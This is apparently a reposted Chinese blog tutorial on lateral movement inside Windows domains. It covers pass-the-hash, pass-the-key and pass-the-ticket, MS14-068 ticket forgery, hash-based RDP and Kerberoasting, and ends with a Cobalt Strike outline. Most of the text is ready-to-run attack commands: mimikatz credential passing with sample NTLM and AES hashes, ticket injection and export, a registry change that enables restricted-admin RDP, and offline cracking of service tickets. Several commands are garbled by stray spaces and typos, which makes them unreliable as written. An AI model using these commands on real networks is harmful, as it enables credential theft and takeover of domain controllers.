内网渗透-横向渗透2

内网渗透-横向渗透2

1.域横向 PTH&PTK&PTT 哈希票据传递

1.域横向移动 PTH 传递

  • PTH(pass the hash) #利用 lm 或 ntlm 的值进行的渗透测试
  • PTT(pass the ticket) #利用的票据凭证 TGT 进行的渗透测试
  • PTK(pass the key) #利用的 ekeys aes256 进行的渗透测试

1.PTH攻击介绍

PTH 在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过 LM Hash 和 NTLM Hash 访问远程主机或服务,而不用提供明文密码。

如果禁用了 ntlm 认证,PsExec 无法利用获得的 ntlm hash 进行远程连接,但是使用 mimikatz 还是可 以攻击成功。

对于 win8.1/2012r2,安装补丁 kb2871997 的 Win 7/2008r2/8/2012 等,可以使用 AES keys 代替 NT hash 来实现 ptk 攻击,

总结:KB2871997 补丁后的影响

pth:没打补丁用户都可以连接,打了补丁只能 administrator 连接

ptk:打了补丁才能用户都可以连接,采用 aes256 连接

2.攻击方式

利用Mimikatz获取到NTML

然后执行命令:

sekurlsa::pth /user:administrator /domain:god /ntlm:ccef208c6485269c20db2cad21734fe7
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:518b98ad4178a53695dc997aa02d455c
sekurlsa::pth /user:boss /domain:god /ntlm:ccef208c6485269c20db2cad21734fe7

建立连接:

dir \\192.168.1.1\c$

2.域横向移动 PTK 传递

攻击方式:

利用Mimikatz获取到aes之后进行攻击

打补丁后的工作组及域连接:
sekurlsa::ekeys #获取 aes

sekurlsa::pth /user:mary /domain:god	/aes256:d7c1d9310753a2f7f240e5b2701dc1e6177d16a6e40af3c5cdff814719821c4b

3.域横向移动 PTT 传递

PTT 攻击的部分就不是简单的 NTLM 认证了,它是利用 Kerberos 协议进行攻击的,这里就介绍三种 常见的攻击方法:MS14-068 基于漏洞,Golden ticket(黄金票据),SILVER ticket(白银票据),简单来说就是将连接合法的票据注入到 内存中实现连接

1.MS14-068

能实现普通用户直接获取域控 system 权限

MS14-068 powershell 执行

1.查看当前用户 sid

whoami/user 

2.清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造

mimikatz # kerberos::purge 

mimikatz # kerberos::list 				//查看当前机器凭证
mimikatz # kerberos::ptc 票据文件 		 //将票据注入到内存中

3.利用 ms14-068 生成 TGT 数据

ms14-068.exe -u 域成员名@域名 -s sid -d 域控制器地址 -p 域成员密码

MS14-068.exe -u [email protected] -s S-1-5-21-1218902331-2157346161-1782232778-1124 -d 192.168.3.21 - p 123456

4.票据注入内存

mimikatz.exe "kerberos::ptc [email protected]" exit

5.查看凭证列表

klist

6.利用

dir \\192.168.1.1\c$
dir \\OWA2010CN-God.god.org

2.利用工具 kekeo

1.生成票据

kekeo "tgt::ask /user:mary /domain:god.org /ntlm:518b98ad4178a53695dc997aa02d455c"

2.导入票据

kerberos::ptt [email protected][email protected]

3.查看凭证

klist

4.利用 net use 载入

dir \\192.168.1.1\c$ 

3.利用本地票据(需管理权限)

sekurlsa::tickets /export 
kerberos::ptt xxxxxxxxxx.xxxx.kirbi 

总结:ptt 传递不需本地管理员权限,连接时主机名连接,基于漏洞,工具,本地票据

4.国产 Ladon 内网杀器测试验收

信息收集-协议扫描-漏洞探针-传递攻击

2.域横向 CobaltStrike&SPN&RDP

1.域横向移动 RDP 传递

除了IPC,WMI,SMB,等协议,获取到的明文密码或HASH密文也可以通过RDP协议进行链接操作,

RDP协议连接:判断对方远程桌面服务是否开启(默认:3389端口),端口扫描判断

RDP明文密码链接

Windows: mstsc
mstsc.exe /console /v:192.168.1.1 /admin

linux:
rdesktop 192.168.1.1:3389

RDP密文HASH链接

windows Server需要开启Restricted Admin mode,在windows 8.1和Windows Server 2012 R2中默认开启,同时如果Win 7 和windows Server2008 R2安装了2871997、2973351补丁也支持;开启命令:

REG ADD "HKLM\System\CurrentControlSet \Control \Lsa"/VDisableRestrictedAdmin
/t REG DWORD/ d 00000000/ f

开启后运行:

mstsc.exe /restrictedadmin
mimikatz.exe
privilege::debug
sekurlsa::pth /user:mary /domain:god	/ntml:518b98ad4178a53695dc997aa02d455c "run:mstsc.exe /restrictedadmin"

2.域横向移动SPN服务

黑客可以使用有效的域用户的身份验证票证(TGT)去请求运行在服务器上的一个或多个目标服务的服务票证。DC在活动目录中查找SPN,并使用与SPN关联的服务帐户加密票证,以便服务能够验证用户是否可以访问。请求的Kerberos服务票证的加密类型是
RC4_HMAC_MD5,这意味着服务帐户的NTLM密码哈希用于加密服务票证。黑客将收到的Tcs票据离线进行破解,即可得到目标服务帐号的HASH,这个称之为Kerberoast攻击。如果我们有一个为域用户帐户注册的任意SPN,那么该用户帐户的明文密码的NTLM哈希值就将用于创建服务票证。这就是Kerberoasting攻击的关键。

使用setspn或powerview(powershell模块Active Directory 需要提前安装,域控制器一般会安装,也可自行安装)等工具

import-module .\Microsoft.ActiveDirectory.Management.dll

探针

setspn -q */*
setspn -q */*l findstr "MSSQL"

请求

Add-Type -AssemblyName System. Identi tyModel

New-Object
System. Identi tyModel . Tokens . Kerbe rosRequestorSecurityToken - ArgumentList "XXXX" #xxxx为服务名如mysql

mimikatz.exe "kerberos: :ask / target: XXXX"

导出

mimikatz.exe "kerberos: :list /export "

或者使用empire的kerberoast模块或者使用PowerSploit中的Invoke-Kerberoast组件

破解

使用[tgsrepcrackck.py]开始离线密码破解,或者使用[kirbi2john.py]从原始票据中提取可破解的哈希格式

python tgsrepcrack.py passwd. txt XXxx.kirbi
python3 . \tgsrepcrack.py . \password.txt . \1-40a00000-jerry@MSSQLSvc~Srv-DB-0day.0day . org~1433-0DAY .0RG.kirbi

重写:

python kerberoast.py -P Password123 -r Xxxx.kirbi -w PENTESTLAB. kirbi -u 500
python kerberoast.py -p Password123 -r XXxx.kirbi -W PENTESTLAB. kirbi -g 512
mimikatz.exe kerberos::ptt xxxx. kirbi #将生成的票据注入内存

kerberoast工具下载地址:

https://github.com/nidem/kerberoast

总结SPN利用流程
1、查询SPN,找到有价值的SPN,需要满足的条件:该SPN注册在域用户帐户(Users)下 并且 域用户账户的权限很高
2、请求TGS
3、导出TGS
4、暴力破解

3.Cobalt Strike使用

大概流程

启动-配置-监听-执行-上线-提权-信息收集(网络,凭证,定位等)-渗透

猜你喜欢

转载自blog.csdn.net/huangyongkang666/article/details/123956032